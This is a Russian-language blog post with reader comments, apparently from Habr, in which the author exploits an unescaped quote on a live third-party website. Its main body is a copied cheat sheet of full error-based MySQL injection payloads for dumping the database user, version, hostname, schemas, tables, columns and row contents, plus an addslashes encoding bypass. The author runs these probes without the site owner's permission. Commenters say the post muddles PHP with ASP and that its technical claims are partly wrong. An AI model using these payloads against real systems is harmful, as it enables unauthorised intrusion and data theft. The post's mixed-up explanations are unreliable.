Error based MySQL injection или не надо ругаться

Несколько дней назад был случайно обнаружен сайт с ругательствами на разных языках. Допустим, его адрес example.com.

На этом сайте есть список языков, ругательства на которых были внесены в «базу знаний». URL для доступа к каждому языку формировался так:
example.com/index.asp?language=[lang_name]#[чтотоеще]

Решил просмотреть доступные языки. Мало ли, может что-то интересное найдется.

Кто смотрел «Аватар», про синих больших человечков, помнит, что человечки, аватары, говорили на языке На'ви. Английский вариант — Na'vi. К моему огромному удивлению, в списке языков значился Na'vi и я, это было бы не Ъ, решил глянуть ругательства на этом языке. Однако, я не смог этого сделать.

MySQL запросов заботливо вывалил мне в браузер ошибку 80040e14. Построитель запросов, как оказалось, тупо одставлял значение [lang_name] в шаблон запроса и кавычку, используемую в назывании языка, он не экранировал, как так можно?

Пытливый мозг сразу же найдет для себя тут повод немного потестировать и не сможет удержаться от всевозможных испытаний.

Так как я не являюсь специалистом в области информационной безопасности, равно как и человеком, который работает с SQL базами, то некоторые описанные моменты мной были либо найдены в сети без объяснений и я не могу объяснить это сам, либо просто подобрано по аналогии.

Есть вероятность, что мы имеем возможность сделать т.н. основанную на ошибке MySQL инъекцию с помощью строкового параметра запроса.

Начнем по порядку.

Попробуем сперва понять, есть ли смысл в наших дальнейших действиях. Раз уж у нас возникла проблема с кавычкой, значит мы можем вклиниться в середину запроса и попробовать выполнить что-нибудь свое.

Итак.
Первый запрос, проверим слепую инъекцию:
' and 'x'='x
Полный URL:
example.com/index.asp?language=' and 'x'='x

Не работает? Ужас. Попробуем изловчиться и заменим одинарную кавычку ' знаком 0xbf5c27 (¿\’ в ASCII), чтобы пройти через PHP'шную защиту addslashes().

Yes! Запрос прошел и выполнился. Открылась страница сайта и в списке фраз по языку видим нечто похожее на "&expr 268409241 — 2 &".

Радоваться пока рано, так как дальнейшие действия наши будут плотно завязаны на существование базы information_schema.

Выполнение наших запросов будет проводиться с помощью функций HEX() и CAST(), чтобы избавиться от мусора и проблем с формированием строк. Поэтому необходимые нам ответы будут выводиться в HEX'е и нужно будет переводить в ASCII. Есть много замечательных инструментов для этого в сети, поэтому ничего страшного.

Двигаемся дальше.

Попробуем узнать текущую БД.
Запрос:
' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x7e,0x27,HEX(CAST(DATABASE() as CHAR)),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) and '1'='1


Ответ приходит, это хорошо, можем идти дальше. Достаем cheatsheet для этой уязвимости и делаем все последовательно и по порядку:

Поиск текущего пользователя:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Версия MySQL:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Текущая база:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Пользователь системы:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Имя хоста:
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@hostname as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Директория MySQL
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(@@basedir as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Пользователь базы
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Поиск баз
Примечание: продолжайте инкрементировать n, например: n, n+1, n+2,… пока не получите ответ.
Предполагается, что n = 0

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(GRANTEE as char)),0x27,0x7e) FROM information_schema.user_privileges LIMIT n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(schema_name as char)),0x27,0x7e) FROM information_schema.schemata LIMIT n+2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1




Подсчет таблиц в БД:
Примечание: пусть ответ будет присвоен переменной n, m = 0;
hex_code_of_database_name заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0xhex_code_of_database_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Получение имен всех таблиц:
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(table_name as char)),0x27,0x7e) FROM information_schema.tables Where table_schema=0xhex_code_of_database_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Получение количества столбцов в таблице:
Примечание: hex_code_of_database_name заменить на нужное значение;
hex_code_of_table_name заменить на нужное значение;
Пусть ответ будет присвоен переменной n, m = 0;

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Получение имен столбцов в выбранной таблице
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
hex_code_of_database_name и hex_code_of_table_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,Hex(cast(column_name as char)),0x27,0x7e) FROM information_schema.columns Where table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name limit m-n,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Получение количества записей в выбранной колонке
Примечание: database_name и table_name заменить на нужное значение
1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(*),0x27,0x7e) FROM `database_name`.table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


Получение записей выбранной колонки
Примечание: m-n подразумевает результат подсчетов значения при m=0, m+1…n-1
database_name, table_name, column_name заменить на нужное значение
m-n заменить на нужное значение

1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,Hex(cast(table_name.column_name as char)),0x27,0x7e) FROM `database_name`.table_name LIMIT m-n,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1


По понятным причинам код для изменения записей публиковать я не буду.

В итоге мною было поправлено имя Na'Vi на NaVi и я смог зайти посмотреть, что же там было. А там было пусто…
Share post
AdBlock has stolen the banner, but banners are not teeth — they will be back

More
Ads

Comments 20

    +10
    >>А там было пусто…
    Ну так нужно было добавить =)
      0
      Найти бэкдор и исправить уязвимость с кавычками.
      +2
      О безопасности работы с mysql для php в интернете написано статей больше, чем страниц в 4х томах войны и мира… Давно же есть возможность использовать pdo & prepared statement, но почему же авторы уповают на addslashes непонятно.
        +1
        В этом комментарии содержится несколько заблуждений
        1. С подавляющим большинством кодировок addslashes() абсолютно безопасна, если используется по назначению.
        2. Сами по себе pdo & prepared statement в случае воображаемой автором атаки — не панацея, и при установках по умолчанию пропустит инъекцию за здорово живешь. Чтобы в кодировках, подверженных данному типу инъекции, атака становилась невозможной, ПДО надо настраивать специально.
        3. Дарагая похапешечка, вместе со всеми своими функциями и расширениями, тут как бы вообще не при чем.
          0
          да судя по всему, там asp старый и пхпшечки там как бэ и нет.
            0
            Не хочу спорить, но $stmt->bind(index, $data, \PDO::PARAM_STR); при отключенном EMULATE_PREPARES вполне безопасна.
            И да, извиняюсь за PHP, но когда читал пост, мне казалось что автор уверен в том, что это php (хотя я явно видел расширения .asp):
            Не работает? Ужас. Попробуем изловчиться и заменим одинарную кавычку ' знаком 0xbf5c27 (¿\’ в ASCII), чтобы пройти через PHP'шную защиту addslashes().
              0
              Верно.
              Но по умолчанию-то EMULATE_PREPARES включена. И для «знака 0xbf5c27» вышеприведенный код при дефолтных настройках угрозы не представляет.
          +1
          Я полагаю, что сами разработчики ресурса не смогли наполнить секцию ругательств на этом языке по причине кавычки.
            0
            После того, как я сообщил об этой неприятной банальной ошибке веб-администратору, он мне так и сказал, что из-за кавычки они не могли заполнить категорию (:
            +2
            смешались в кучу кони, люди, php, asp, mysql, error 80040e14…
              0
              Что-то я не совсем понял про волшебный символ 0xbf5c27
              «Волшебный» он только в кодировке GBK. Сайт с ругательствами — китайский?

              И почему сайт выдал ошибку на кавычку, если, по мнению автора, addslashes таки исользуется?

              Пост больше напоминает «реальные» истории с башорга, при ближайшем рассмотрении оказывающиеся целиком высосанными из пальца. Дополненную, в данном случае, унылой копипастой.
                0
                ¿\' в данном случае не использовалось, но упомянуть о том, что это можно сделать, я все же решился, если вдруг все-таки addslashes присутствует. Однако этот волшебный символ пригождался мне и не на китайских сайтах.
                  –1
                  Очень жаль.
                  Я надеялся на честный ответ.
                0
                addslashes насколько я помню не защищает только в некоторых кодировках.
                Факи по SQLi уже много лет блуждают по просторам сети, элементарный и подробный разбор: forum.antichat.ru/thread43966.html
                Зачем это на хабре?
                  0
                  По ссылке выше написана полная ересь, которую извиняет только доисторическая дата написания.
                  Сюда это постить не стоило.
                    0
                    В чем там ересь?
                      0
                      Я вас умоляю.
                      Если такие вещи надо объяснять, то это заранее бесполезно.
                      Предназначение этого текста — вызывать восхищение у детей младшей школы, и с этой задачей он справляется прекрасно. Это всё.
                      Такого рода опусы все пишутся под одну копирку:
                      — про поиск уязвимости — ничего
                      — про защиту — хочется плакать кровавыми слезами
                      — про эксплуатацию — аффтар щеголяет знанием пары банальных SQL операторов, дотоле неизвестных незадачливому читателю, выдавая их за сакральные хакирские техники (при этом в подавляющем большинстве случаев никогда сам их не применял, а тупо скопипастил у такого-же горе-писаки, и не в состоянии объяснить, как и почему работает или не работает тот или иной запрос)

                      Для того, чтобы осуществить инъекцию, не нужно быть хакиром и читать макулатурные статьи.
                      Надо просто знать SQL. Если не знаешь — то набор наизусть выученных «приемчиков» тебе не поможет. А если знаешь — то не понадобится.
                  0
                  ну что опять за старьё, да еще и самым дурацким способом, когда можно все сделать меньшими и олее простыми запросами?
                    0
                    sqlmap не натравливали?
                      –1
                      В общем, эта публикация как бы говорит нам, что получения вожделенных гражданских прав не нужно обладать ни знаниями, ни опытом, ни совестью.
                      Нужно всего лишь немного наглости и воображения:
                      1. Найти в интернете копипасту от очередного незнайки с кучей ляпов в стиле «слышал звон, да не знаю где он».
                      2. Перевести её (снова без малейшего понимания, оставив все ляпы на месте).
                      3. Нафантазировать пару красивых деталей от себя.
                      4. На критические замечания отвечать в стиле «божья роса».
                      5. PROFIT!!!

                      Only users with full accounts can post comments. Log in, please.